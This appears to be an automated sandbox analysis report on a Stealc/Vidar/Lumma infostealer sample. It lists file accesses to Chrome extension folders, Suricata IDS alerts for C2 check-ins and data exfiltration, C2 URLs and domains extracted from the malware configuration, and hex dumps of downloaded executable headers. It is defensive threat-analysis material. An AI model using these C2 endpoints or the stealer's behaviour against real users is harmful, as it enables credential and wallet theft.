Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]		8_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax		8_2_004014AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49735 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49735 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49735 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49735 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.4:59963 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.4:58800 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.4:59733 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.4:55609 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.4:50252 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.4:65535 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.4:63300 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.4:59738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.4:61372 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.4:59739 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.4:59737 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.4:59740 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.4:51917 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.4:59734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.4:59736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.4:59735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.4:59771 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.4:59774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.4:59778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.4:59775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.4:59780 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.4:59779 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.4:59770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.4:59781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:59777 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.4:59782 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59740 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59740 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59742 -> 104.21.2.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59742 -> 104.21.2.13:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59739 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59733 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59733 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59737 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59737 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:59748 -> 5.75.211.162:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59739 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.4:59748
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.4:59747
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59771 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59771 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59779 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59779 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59780 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59780 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59782 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59782 -> 172.67.208.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.211.162:443 -> 192.168.2.4:59790
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.211.162:443 -> 192.168.2.4:59789
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:59784 -> 104.21.2.13:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:59784 -> 104.21.2.13:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 26 Sep 2024 17:05:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 